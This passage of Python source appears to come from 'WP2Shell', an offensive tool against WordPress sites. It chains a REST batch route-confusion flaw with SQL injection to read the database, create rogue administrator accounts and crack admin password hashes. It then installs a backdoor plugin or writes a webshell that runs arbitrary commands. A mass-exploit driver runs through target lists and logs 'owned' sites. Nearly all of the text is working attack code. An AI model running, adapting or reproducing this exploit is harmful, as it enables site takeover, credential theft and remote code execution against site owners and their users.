\"/wp/v2/pages\", \"/wp/v2/media\"):\n        url = base + \"/?\" + urllib.parse.urlencode(\n            {\"rest_route\": route, \"per_page\": \"1\", \"_fields\": \"link\"}\n        )\n        resp = client.request(\"GET\", url, retry=False)\n        if resp.status != 200:\n            continue\n        try:\n            items = json.loads(resp.text())\n        except (json.JSONDecodeError, TypeError):\n            continue\n        if isinstance(items, list) and items and isinstance(items[0], dict):\n            link = items[0].get(\"link\")\n            if link:\n                return link\n    return None\n\n\ndef _preauth_admin(client: HttpClient, batch_url: str,\n                   base: str) -> Optional[Tuple[str, str]]:\n    old_timeout = client.config.timeout\n    client.config.timeout = 30.0\n    try:\n        if _union_read(client, batch_url, \"SELECT 0x4f4b\") != \"OK\":\n            return None\n\n        posts_table = _union_read(\n            client, batch_url,\n            \"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES \"\n            \"WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 \"\n            \"ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1\",\n        )\n        if not (posts_table and re.fullmatch(r\"[A-Za-z0-9_$]+\", posts_table)):\n            for prefix in _PREFIXES:\n                try:\n                    if _union_integer(client, batch_url,\n                                      f\"SELECT COUNT(*) FROM `{prefix}posts`\") > 0:\n                        posts_table = f\"{prefix}posts\"\n                        break\n                except ValueError:\n                    continue\n        if not posts_table:\n            print(red(\"[-]\") + \" could not recover wp_posts table name.\",\n                  file=sys.stderr)\n            return None\n        table_prefix = posts_table[:-5]\n\n        caps = _mysql_hex(table_prefix + \"capabilities\")\n        admin_sig = _mysql_hex('s:13:\"administrator\";b:1;')\n        try:\n            admin_id = _union_integer(\n                client, batch_url,\n                f\"SELECT u.ID FROM `{table_prefix}users` u \"\n                f\"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID \"\n                f\"WHERE m.meta_key={caps} AND INSTR(m.meta_value,{admin_sig})>0 \"\n                \"ORDER BY u.ID LIMIT 1\",\n            )\n        except ValueError:\n            admin_id = 0\n        if admin_id < 1:\n            print(red(\"[-]\") + \" could not find an existing administrator ID.\",\n                  file=sys.stderr)\n            return None\n\n        link = _first_embeddable_link(client, base)\n        if not link:\n            print(red(\"[-]\") + \" no public post/page found to seed oEmbed cache.\",\n                  file=sys.stderr)\n            return None\n        nonce = secrets.token_hex(6)\n        split = urllib.parse.urlsplit(link)\n        embeds = [\n            urllib.parse.urlunsplit(\n                (split.scheme, split.netloc, split.path, split.query, f\"{nonce}{i}\")\n            )\n            for i in range(3)\n        ]\n\n        content = \"\".join(\n            f'[embed width=\"500\" height=\"750\"]{u}[/embed]' for u in embeds\n        )\n        _render_union_posts(\n            client, batch_url,\n            [_wp_posts_tuple(0, body=content, title=\"seed\", slug=\"seed\")],\n        )\n\n        backing_ids: List[int] = []\n        for embed_url in embeds:\n            cache_name = hashlib.md5(\n                (embed_url + _OEMBED_SIZE).encode()\n            ).hexdigest()\n            try:\n                backing_ids.append(_union_integer(\n                    client, batch_url,\n                    f\"SELECT ID FROM `{posts_table}` WHERE \"\n                    f\"post_type=0x6f656d6265645f6361636865 \"\n                    f\"AND post_name=0x{cache_name.encode().hex()} \"\n                    \"ORDER BY ID DESC LIMIT 1\",\n                ))\n            except ValueError:\n                backing_ids.append(0)\n        if any(i < 1 for i in backing_ids) or len(set(backing_ids)) != 3:\n            print(red(\"[-]\") + \" could not recover three unique oEmbed cache post IDs.\",\n                  file=sys.stderr)\n            return None\n\n        outer_id = 1800000000 + secrets.randbelow(100000000)\n        nav_id = outer_id + 1\n        inner_id = outer_id + 2\n        changeset_id, cache_id, request_id = backing_ids\n        username = f\"cyphr_{nonce}\"\n        password = f\"Wp2!{secrets.token_urlsafe(15)}\"\n        email = f\"{username}@cyphrsec.invalid\"\n        changeset = json.dumps(\n            {\n                f\"nav_menu_item[{nav_id}]\": {\n                    \"type\": \"nav_menu_item\",\n                    \"user_id\": admin_id,\n                    \"value\": {\n                        \"object_id\": 0, \"object\": \"\", \"menu_item_parent\": 0,\n                        \"position\": 0, \"type\": \"custom\",\n                        \"title\": \"generated\", \"url\": _NAV_URL, \"target\": \"\",\n                        \"attr_title\": \"\", \"description\": \"\", \"classes\": \"\",\n                        \"xfn\": \"\", \"status\": \"publish\", \"nav_menu_term_id\": 0,\n                        \"_invalid\": False,\n                    },\n                }\n            },\n            separators=(\",\", \":\"),\n        )\n        rows = [\n            _wp_posts_tuple(0,\n                            body=f'[embed width=\"500\" height=\"750\"]{embeds[1]}[/embed]',\n                            title=\"trigger\", slug=\"trigger\"),\n            _wp_posts_tuple(changeset_id, body=changeset, title=\"changeset\",\n                            status=\"future\", slug=str(uuid.uuid4()),\n                            parent=outer_id, kind=\"customize_changeset\"),\n            _wp_posts_tuple(outer_id, body=\"outer\", title=\"outer\",\n                            status=\"draft\", slug=\"outer\", parent=changeset_id),\n            _wp_posts_tuple(cache_id, title=\"cache\", slug=\"cache\",\n                            parent=changeset_id),\n            _wp_posts_tuple(nav_id, body=\"nav\", title=\"nav\", slug=\"nav\",\n                            parent=request_id, kind=\"nav_menu_item\"),\n            _wp_posts_tuple(request_id, body=\"parse\", title=\"parse\",\n                            status=\"parse\", slug=\"parse\", parent=inner_id,\n                            kind=\"request\"),\n            _wp_posts_tuple(inner_id, body=\"inner\", title=\"inner\",\n                            status=\"draft\", slug=\"inner\", parent=request_id),\n        ]\n        user_body = {\"username\": username, \"password\": password,\n                     \"email\": email, \"roles\": [\"administrator\"]}\n        tail = [\n            {\"method\": \"POST\", \"path\": \"/wp/v2/users\", \"body\": user_body},\n            {\"method\": \"POST\", \"path\": \"/wp/v2/users\", \"body\": user_body},\n        ]\n        _render_union_posts(client, batch_url, rows, tail_requests=tail)\n\n        if _login_multi(client, base, username, password, batch_url):\n            return username, password\n        return None\n    finally:\n        client.config.timeout = old_timeout\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  LOGIN / ADMIN / PLUGIN UPLOAD\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _login_at(client: HttpClient, login_url: str, username: str,\n              password: str) -> Optional[str]:\n    client.request(\"GET\", login_url, retry=False)\n    payload = {\n        \"log\": username, \"pwd\": password, \"wp-submit\": \"Log In\",\n        \"redirect_to\": urllib.parse.urljoin(login_url, \"/wp-admin/\"),\n        \"testcookie\": \"1\",\n    }\n    headers = {\"Content-Type\": \"application/x-www-form-urlencoded\",\n               \"Referer\": login_url}\n    data = urllib.parse.urlencode(payload).encode()\n    client.request(\"POST\", login_url, data=data, headers=headers, retry=False)\n    cookies = [f\"{c.name}={c.value}\" for c in client._jar if c.name]\n    if any(c.name.startswith(\"wordpress_logged_in\") for c in client._jar):\n        return \"; \".join(cookies)\n    return None\n\n\ndef _find_login_url(client: HttpClient, base: str,\n                    batch_url: Optional[str] = None) -> str:\n    candidates = [urllib.parse.urljoin(base, \"wp-login.php\")]\n    if batch_url:\n        slug = _union_read(\n            client, batch_url,\n            \"SELECT option_value FROM wp_options WHERE option_name=0x77686c5f70616765\",\n        )\n        if slug and re.fullmatch(r\"[A-Za-z0-9_\\-/]{1,60}\", slug):\n            candidates.append(urllib.parse.urljoin(base, \"/\" + slug.strip(\"/\") + \"/\"))\n    for s in (\"login\", \"entrar\", \"acesso\", \"admin\", \"signin\"):\n        candidates.append(urllib.parse.urljoin(base, \"/\" + s + \"/\"))\n    for url in candidates:\n        try:\n            r = client.request(\"GET\", url, retry=False)\n        except Exception:\n            continue\n        body = r.text().lower()\n        if r.status == 200 and any(k in body for k in (\"loginform\", \"wp-submit\",\n                                                        \"user_login\")):\n            return url\n    return candidates[0]\n\n\ndef _login(client: HttpClient, base: str, username: str,\n           password: str) -> Optional[str]:\n    return _login_at(client, _find_login_url(client, base), username, password)\n\n\ndef _login_multi(client: HttpClient, base: str, username: str, password: str,\n                 batch_url: Optional[str] = None) -> Optional[str]:\n    return _login_at(client, _find_login_url(client, base, batch_url),\n                     username, password)\n\n\ndef _get_nonce(client: HttpClient, base: str, cookie: str) -> str:\n    resp = client.request(\n        \"GET\",\n        urllib.parse.urljoin(base, \"wp-admin/admin-ajax.php?action=rest-nonce\"),\n        headers={\"Cookie\": cookie},\n    )\n    return resp.text().strip()\n\n\ndef _create_admin_user(client: HttpClient, base: str, cookie: str,\n                       username: str, password: str, email: str) -> bool:\n    create_url = urllib.parse.urljoin(base, \"wp-json/wp/v2/users\")\n    payload = {\"username\": username, \"password\": password,\n               \"email\": email, \"roles\": [\"administrator\"]}\n    resp = client.request(\"POST\", create_url, json_body=payload,\n                          headers={\"Cookie\": cookie,\n                                   \"X-WP-Nonce\": _get_nonce(client, base, cookie)})\n    return resp.status == 201\n\n\ndef _upload_plugin(client: HttpClient, base: str, cookie: str, zip_data: bytes):\n    root_hint: Optional[str] = None\n\n    def _parse_hint(t: str) -> None:\n        nonlocal root_hint\n        mm = re.search(r\"Could not create directory\\.\\s*([^\\s<]+)\", t)\n        if mm:\n            root_hint = mm.group(1)\n\n    plugin_install_url = urllib.parse.urljoin(\n        base, \"wp-admin/plugin-install.php?tab=upload\")\n    resp = client.request(\"GET\", plugin_install_url, headers={\"Cookie\": cookie})\n\n    form = re.search(\n        r']+enctype=\"multipart/form-data\"[^>]*>(.{0,4000}?)',\n        resp.text(), re.S,\n    )\n    form_html = form.group(1) if form else resp.text()\n    match = re.search(r'name=\"_wpnonce\" value=\"([a-f0-9]+)\"', form_html)\n    if not match:\n        match = re.search(r'name=\"_wpnonce\" value=\"([a-f0-9]+)\"', resp.text())\n    if not match:\n        match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', resp.text())\n    if not match:\n        print(dim(f\"[d] upload page sem nonce (status={resp.status}): \"\n                  f\"{resp.text()[:300]!r}\"))\n        return False, root_hint\n    nonce = match.group(1)\n\n    upload_url = urllib.parse.urljoin(base, \"wp-admin/update.php?action=upload-plugin\")\n    boundary = \"----WebKitFormBoundary\" + ''.join(\n        random.choices(string.ascii_letters + string.digits, k=16))\n    body = (\n        f\"--{boundary}\\r\\n\"\n        f'Content-Disposition: form-data; name=\"_wpnonce\"\\r\\n\\r\\n{nonce}\\r\\n'\n        f\"--{boundary}\\r\\n\"\n        f'Content-Disposition: form-data; name=\"_wp_http_referer\"\\r\\n\\r\\n'\n        f'/wp-admin/plugin-install.php?tab=upload\\r\\n'\n        f\"--{boundary}\\r\\n\"\n        f'Content-Disposition: form-data; name=\"install-plugin-submit\"\\r\\n\\r\\n'\n        f'Install Now\\r\\n'\n        f\"--{boundary}\\r\\n\"\n        f'Content-Disposition: form-data; name=\"pluginzip\"; filename=\"plugin.zip\"\\r\\n'\n        f\"Content-Type: application/zip\\r\\n\\r\\n\"\n    ).encode() + zip_data + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n    headers = {\n        \"Content-Type\": f\"multipart/form-data; boundary={boundary}\",\n        \"Cookie\": cookie, \"Referer\": plugin_install_url,\n    }\n    resp = client.request(\"POST\", upload_url, data=body, headers=headers)\n    text = resp.text()\n    _parse_hint(text)\n\n    if \"No valid plugins\" in text or \"The package could not be installed\" in text:\n        print(dim(f\"[d] upload fail: {text[:300]!r}\"))\n        return False, root_hint\n\n    if resp.status == 200 and (\"Installing Plugin\" in text or \"Unpacking\" in text\n                               or \"Plugin installed\" in text\n                               or \"astral\" in text):\n        plugins_page = client.request(\n            \"GET\", urllib.parse.urljoin(base, \"wp-admin/plugins.php\"),\n            headers={\"Cookie\": cookie})\n        page_text = html.unescape(plugins_page.text())\n        link = re.search(\n            r'href=\"([^\"]*action=activate[^\"]*plugin=astral[^\"]*)\"',\n            page_text, re.I)\n        if not link:\n            if re.search(\n                r'href=\"[^\"]*action=deactivate[^\"]*plugin=astral[^\"]*\"',\n                page_text, re.I):\n                return True, root_hint\n            print(dim(\"[d] plugins.php sem link para astral (upload falhou?)\"))\n            return False, root_hint\n        activate_url = html.unescape(link.group(1))\n        if not activate_url.startswith(\"http\"):\n            if not activate_url.startswith(\"/\"):\n                activate_url = \"/wp-admin/\" + activate_url\n            activate_url = urllib.parse.urljoin(base, activate_url)\n        resp_act = client.request(\"GET\", activate_url, headers={\"Cookie\": cookie})\n        return (\"Plugin activated\" in resp_act.text()), root_hint\n\n    _parse_hint(text)\n    print(dim(f\"[d] upload fail (status={resp.status}): {text[:300]!r}\"))\n    return False, root_hint\n\n\ndef _generate_backdoor_plugin_zip() -> bytes:\n    php = (\n        \" bool:\n    import hashlib as _hl\n    if not stored_hash.startswith('$P$'):\n        return False\n    itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'\n    count_log2 = itoa64.index(stored_hash[3])\n    count = 1 << count_log2\n    salt = stored_hash[4:12]\n    hash_bytes = _hl.md5((salt + password).encode('utf-8')).digest()\n    for _ in range(count):\n        hash_bytes = _hl.md5(hash_bytes + password.encode('utf-8')).digest()\n    output = stored_hash[:12] + ''.join(\n        itoa64[c & 0x3f] + itoa64[(c >> 6) & 0x3f]\n        + itoa64[(c >> 12) & 0x3f] + itoa64[(c >> 18) & 0x3f]\n        for c in hash_bytes\n    )[:34]\n    return output == stored_hash\n\n\ndef _extract_and_login(client, batch_url, base, args, delay=1.0):\n    if getattr(args, \"password\", None):\n        admin_username = getattr(args, \"username\", \"admin\")\n        print(cyan(\"[*]\") + \" Using provided admin password.\")\n        print(cyan(\"[*]\") + \" Logging in...\")\n        cookie = _login_multi(client, base, admin_username, args.password, batch_url)\n        if not cookie:\n            print(red(\"[-]\") + \" Login failed.\", file=sys.stderr)\n            return None, None, None\n        print(mint(\"[+]\") + \" Authenticated as admin.\")\n        return cookie, admin_username, args.password\n\n    admin_username = getattr(args, \"username\", None)\n    if not admin_username:\n        admin_username = \"admin\"\n        if not _test_bool(\n                client, batch_url,\n                \"(SELECT COUNT(*) FROM wp_users WHERE user_login='admin')>0\",\n                delay=delay, debug=args.debug):\n            print(cyan(\"[*]\") + \" 'admin' nao existe; descobrindo username via SQLi...\")\n            admin_username = None\n            for q in (\n                \"SELECT user_login FROM wp_users WHERE ID=1\",\n                \"SELECT user_login FROM wp_users WHERE ID=(SELECT user_id FROM \"\n                \"wp_usermeta WHERE meta_key='wp_capabilities' AND meta_value \"\n                \"LIKE '%administrator%' LIMIT 1)\",\n            ):\n                name = _extract_string(client, batch_url, q, max_len=32,\n                                        delay=delay, debug=args.debug)\n                if name and re.fullmatch(r\"[A-Za-z0-9._@\\-]{1,60}\", name):\n                    admin_username = name\n                    break\n        if not admin_username:\n            print(red(\"[-]\") + \" Could not discover admin username.\",\n                  file=sys.stderr)\n            return None, None, None\n    print(mint(\"[+]\") + f\" Admin username: {admin_username}\")\n\n    print(cyan(\"[*]\") + \" Extracting admin password hash...\")\n    exists_sql = f\"SELECT COUNT(*) FROM wp_users WHERE user_login='{admin_username}'\"\n    if not _test_bool(client, batch_url, f\"({exists_sql})>0\",\n                       delay=delay, debug=args.debug):\n        print(red(\"[-]\") + \" Admin user not found.\", file=sys.stderr)\n        return None, None, None\n\n    hash_query = (f\"SELECT user_pass FROM wp_users WHERE \"\n                  f\"user_login='{admin_username}' LIMIT 1\")\n    admin_hash = _extract_string(client, batch_url, hash_query, max_len=48,\n                                  delay=delay, debug=args.debug)\n    if not admin_hash:\n        print(red(\"[-]\") + \" Failed to extract hash.\", file=sys.stderr)\n        return None, None, None\n    print(mint(\"[+]\") + f\" Admin hash: {admin_hash}\")\n\n    candidates: List[str] = []\n    if args.wordlist:\n        try:\n            with open(args.wordlist, \"r\", encoding=\"latin-1\") as f:\n                candidates.extend(line.strip() for line in f if line.strip())\n        except FileNotFoundError:\n            print(red(\"[-]\") + f\" Wordlist {args.wordlist} not found.\",\n                  file=sys.stderr)\n            return None, None, None\n\n    host = urllib.parse.urlsplit(base).hostname or \"\"\n    host_root = host.split(\".\")[0] if host else \"\"\n    candidates += [\n        admin_username, admin_username + \"123\", admin_username + \"@123\",\n        \"admin\", \"administrator\", \"password\", \"123456\", \"12345678\",\n        \"123456789\", \"admin123\", \"password123\", \"qwerty\", \"letmein\",\n        \"changeme\", \"welcome\", \"1q2w3e4r\", \"P@ssw0rd\", \"root\", \"toor\",\n        host_root, host, \"wp-admin\", \"wordpress\",\n    ]\n    plain_password = None\n    seen = set()\n    for word in candidates:\n        word = word.strip()\n        if not word or word in seen:\n            continue\n        seen.add(word)\n        if _phpass_check(word, admin_hash):\n            plain_password = word\n            print(mint(\"[+]\") + f\" Cracked password: {word}\")\n            break\n    if not plain_password:\n        print(red(\"[-]\") + \" Password not cracked (use --password ou --wordlist).\",\n              file=sys.stderr)\n        return None, None, None\n\n    print(cyan(\"[*]\") + \" Logging in...\")\n    cookie = _login_multi(client, base, admin_username, plain_password, batch_url)\n    if not cookie:\n        print(red(\"[-]\") + \" Login failed.\", file=sys.stderr)\n        return None, None, None\n    print(mint(\"[+]\") + \" Authenticated as admin.\")\n    return cookie, admin_username, plain_password\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  EXPLOIT DRIVER\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef exploit_target(args, target: str) -> int:\n    if not args.authorized:\n        print(red(\"Error:\") + \" --authorized flag is required for exploitation.\",\n              file=sys.stderr)\n        return 1\n    try:\n        base = normalize_target(target, args.default_scheme)\n    except ValueError as e:\n        print(red(\"Invalid target:\") + f\" {e}\", file=sys.stderr)\n        return 1\n\n    config = ScanConfig(\n        timeout=args.timeout, retries=args.retries,\n        verify_tls=not args.insecure, proxy=args.proxy,\n        headers=parse_headers(args.header), rate_limit=args.rate,\n        fingerprint_level=\"quick\", active_probe=False,\n        rest_endpoint=\"both\", include_request_log=False,\n        default_scheme=args.default_scheme, allow_cross_host_redirects=True,\n    )\n    limiter = RateLimiter(config.rate_limit)\n    client = HttpClient(config, limiter)\n\n    print(cyan(\"[*]\") + \" Testing route confusion...\")\n    probe_resp = client.request(\n        \"POST\", endpoint_url(base, \"rest-query-batch\"),\n        json_body=SAFE_ROUTE_CONFUSION_PROBE,\n        headers={\"X-WP2Shell-Exploit\": \"check\"})\n    probe = analyze_active_probe(probe_resp)\n    if not probe.vulnerable_signal:\n        probe_resp = client.request(\n            \"POST\", endpoint_url(base, \"rest-pretty-batch\"),\n            json_body=SAFE_ROUTE_CONFUSION_PROBE,\n            headers={\"X-WP2Shell-Exploit\": \"check\"})\n        probe = analyze_active_probe(probe_resp)\n    if not probe.vulnerable_signal:\n        print(red(\"[-]\") + \" Route confusion not detected.\", file=sys.stderr)\n        return 2\n    print(mint(\"[+]\") + \" Route confusion confirmed.\")\n\n    batch_kind = \"rest-query-batch\"\n    if probe.endpoint and \"rest-query\" not in probe.endpoint:\n        test_resp = client.request(\n            \"POST\", endpoint_url(base, \"rest-pretty-batch\"),\n            json_body=SAFE_ROUTE_CONFUSION_PROBE,\n            headers={\"X-WP2Shell-Exploit\": \"check\"})\n        if analyze_active_probe(test_resp).vulnerable_signal:\n            batch_kind = \"rest-pretty-batch\"\n    batch_url = endpoint_url(base, batch_kind)\n    print(cyan(\"[*]\") + f\" Using batch endpoint: {batch_url}\")\n\n    delay_s = max(0.5, float(getattr(args, \"delay\", 2.0)))\n    print(cyan(\"[*]\") + f\" Running timing-based SQL injection test... \"\n          f\"(SLEEP={delay_s}s, 7 requests)\")\n    false_times, true_times, debug_msgs = _perform_timing_test(\n        client, batch_url, delay_seconds=delay_s, num_samples=3, warmups=1,\n        debug=args.debug)\n    for msg in debug_msgs:\n        print(msg, file=sys.stderr)\n    sql_result = _classify_timing_result(false_times, true_times,\n                                          delay_seconds=delay_s)\n    print(cyan(\"[*]\") + f\" SQLi result: {sql_result.result}\")\n    if not sql_result.vulnerable_signal:\n        print(red(\"[-]\") + \" SQL injection not confirmed. Cannot proceed.\",\n              file=sys.stderr)\n        return 2\n\n    print(cyan(\"[*]\") + \" Attempting UNION pre-auth admin creation...\")\n    created = _preauth_admin(client, batch_url, base)\n    if created:\n        admin_username, plain_password = created\n        print(mint(\"[+]\") + f\" Created admin: {admin_username} / {plain_password}\")\n        cookie = _login_multi(client, base, admin_username, plain_password,\n                              batch_url)\n        if not cookie:\n            print(red(\"[-]\") + \" Login as new admin failed (login customizado/bloqueado?).\",\n                  file=sys.stderr)\n            _log_admin(target, admin_username, plain_password)\n            print(amber(\"[~]\") + f\" admin criado sem sessao: \"\n                  f\"{admin_username} / {plain_password}\")\n            return 4\n        print(mint(\"[+]\") + \" Authenticated as new admin.\")\n\n        print(cyan(\"[*]\") + \" Uploading backdoor plugin...\")\n        plugin_zip = _generate_backdoor_plugin_zip()\n        upload_ok, root_hint = _upload_plugin(client, base, cookie, plugin_zip)\n        if upload_ok:\n            print(mint(\"[+]\") + \" Backdoor plugin installed and activated.\")\n            backdoor_url = urllib.parse.urljoin(\n                base, \"wp-content/plugins/astral/install.php\")\n            cmd = args.cmd\n            exec_url = f\"{backdoor_url}?cmd={urllib.parse.quote(cmd)}\"\n            print(cyan(\"[*]\") + f\" Executing: {cmd}\")\n            resp = client.request(\"GET\", exec_url)\n            if resp.status == 200:\n                _emit_exploit_output(args.output, resp.text())\n            else:\n                print(red(\"[-]\") + f\" Command execution failed (HTTP {resp.status}).\",\n                      file=sys.stderr)\n                return 3\n            print(\"\\n\" + amber(\"[!]\") + \" Clean up the backdoor plugin and the \"\n                  \"new admin user after testing.\")\n            return 0\n\n        print(red(\"[-]\") + \" Plugin upload failed.\", file=sys.stderr)\n        if root_hint and _try_outfile_root(client, batch_url, base, args.cmd,\n                                            root_hint, args.output):\n            return 0\n\n        _log_admin(target, admin_username, plain_password)\n        print(amber(\"[~]\") + f\" Admin created without RCE: {admin_username} / \"\n              f\"{plain_password}\")\n        print(red(\"[-]\") + \" INTO OUTFILE via root leak failed too.\")\n        return 4\n\n    print(red(\"[-]\") + \" UNION admin creation failed. Falling back to direct webshell...\")\n    print(cyan(\"[*]\") + \" Attempting direct webshell write (FILE privilege required)...\")\n    if _direct_shell_write(client, base, batch_url, args.cmd, debug=args.debug,\n                            output_path=args.output, delay=delay_s):\n        print(amber(\"[!]\") + \" Webshell remains at wp-content/uploads/ws.php. \"\n              \"Remove after testing.\")\n        return 0\n\n    print(cyan(\"[*]\") + \" Direct write failed. Falling back to credential extraction...\")\n    cookie, admin_username, plain_password = _extract_and_login(\n        client, batch_url, base, args, delay=delay_s)\n    if cookie is None:\n        print(red(\"[-]\") + \" Could not obtain admin session.\", file=sys.stderr)\n        return 2\n\n    new_admin = \"cyphrsec_admin\"\n    new_pass = ''.join(random.choices(string.ascii_letters + string.digits, k=16))\n    print(cyan(\"[*]\") + f\" Creating new admin user: {new_admin}\")\n    if _create_admin_user(client, base, cookie, new_admin, new_pass,\n                          f\"{new_admin}@example.com\"):\n        print(mint(\"[+]\") + f\" Created {new_admin} / {new_pass}\")\n        cookie = _login_multi(client, base, new_admin, new_pass, batch_url)\n        if not cookie:\n            print(red(\"[-]\") + \" Could not log in as new admin.\", file=sys.stderr)\n            return 2\n    else:\n        print(amber(\"[!]\") + \" Could not create new admin. Continuing with \"\n              \"original session.\")\n\n    print(cyan(\"[*]\") + \" Uploading backdoor plugin...\")\n    plugin_zip = _generate_backdoor_plugin_zip()\n    upload_ok, root_hint = _upload_plugin(client, base, cookie, plugin_zip)\n    if not upload_ok:\n        print(red(\"[-]\") + \" Plugin upload failed.\", file=sys.stderr)\n        if root_hint and _try_outfile_root(client, batch_url, base, args.cmd,\n                                            root_hint, args.output):\n            return 0\n        return 2\n    print(mint(\"[+]\") + \" Backdoor plugin installed and activated.\")\n\n    backdoor_url = urllib.parse.urljoin(\n        base, \"wp-content/plugins/astral/install.php\")\n    cmd = args.cmd\n    exec_url = f\"{backdoor_url}?cmd={urllib.parse.quote(cmd)}\"\n    print(cyan(\"[*]\") + f\" Executing: {cmd}\")\n    resp = client.request(\"GET\", exec_url)\n    if resp.status == 200:\n        _emit_exploit_output(args.output, resp.text())\n    else:\n        print(red(\"[-]\") + f\" Command execution failed (HTTP {resp.status}).\",\n              file=sys.stderr)\n        return 3\n\n    print(\"\\n\" + amber(\"[!]\") + \" Clean up the backdoor plugin and the new \"\n          \"admin user after testing.\")\n    return 0\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  MASS EXPLOIT DRIVER\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef run_exploit(args, parser) -> int:\n    global _ANSI\n    _ANSI = (not getattr(args, \"no_color\", False)) and (\n        os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY)\n\n    if not args.target and not args.targets_file:\n        list_path = _ask(f\"{violet('targets')} > [{dim('target.txt')}] \", \"target.txt\")\n        args.targets_file = [list_path]\n        if not getattr(args, \"cmd\", None):\n            args.cmd = _ask(f\"{violet('cmd')}     > [{dim('whoami')}] \", \"whoami\")\n        raw = _ask(f\"{violet('workers')} > 1-{MAX_CONCURRENCY} [{dim('10')}] \", \"10\")\n        try:\n            args.concurrency = int(raw)\n        except ValueError:\n            args.concurrency = 10\n        print()\n        print(dim(f\"[*] list={list_path}  cmd={args.cmd}  speed={args.concurrency}\"),\n              flush=True)\n\n    if not getattr(args, \"cmd\", None):\n        parser.error(\"--cmd is required (or run without args for interactive mode)\")\n\n    try:\n        targets = read_targets(args.target, args.targets_file, False, None)\n    except ValueError as exc:\n        if \"cannot read targets file\" in str(exc):\n            print(red(f\"[-] {exc}\\n\"\n                      f\"    Generate the target list first with scan:\\n\"\n                      f\"    python wp2shell.py remote -l target.txt \"\n                      f\"--authorized --active-probe -c 20 -f csv -o scan.csv\"),\n                  flush=True)\n            return 1\n        parser.error(str(exc))\n\n    if not 1 <= args.concurrency <= MAX_CONCURRENCY:\n        parser.error(f\"--concurrency must be between 1 and {MAX_CONCURRENCY}\")\n\n    total = len(targets)\n    log_path = getattr(args, \"log\", None) or \"exploit_log.txt\"\n    csv_path = getattr(args, \"results_csv\", None) or \"results.csv\"\n    owned_path = getattr(args, \"owned\", None) or \"pwn.txt\"\n\n    try:\n        Path(log_path).write_text(\"\", encoding=\"utf-8\")\n        Path(csv_path).write_text(\"target,exit_code\\n\", encoding=\"utf-8\")\n        Path(owned_path).write_text(\n            f\"# CyphrSec WP2Shell {CVE_ROUTE_CONFUSION} + {CVE_SQLI} owned targets\\n\"\n            f\"# tg: https://t.me/kingepepp\\n\",\n            encoding=\"utf-8\",\n        )\n        Path(_ADMIN_LOG).write_text(\n            f\"# 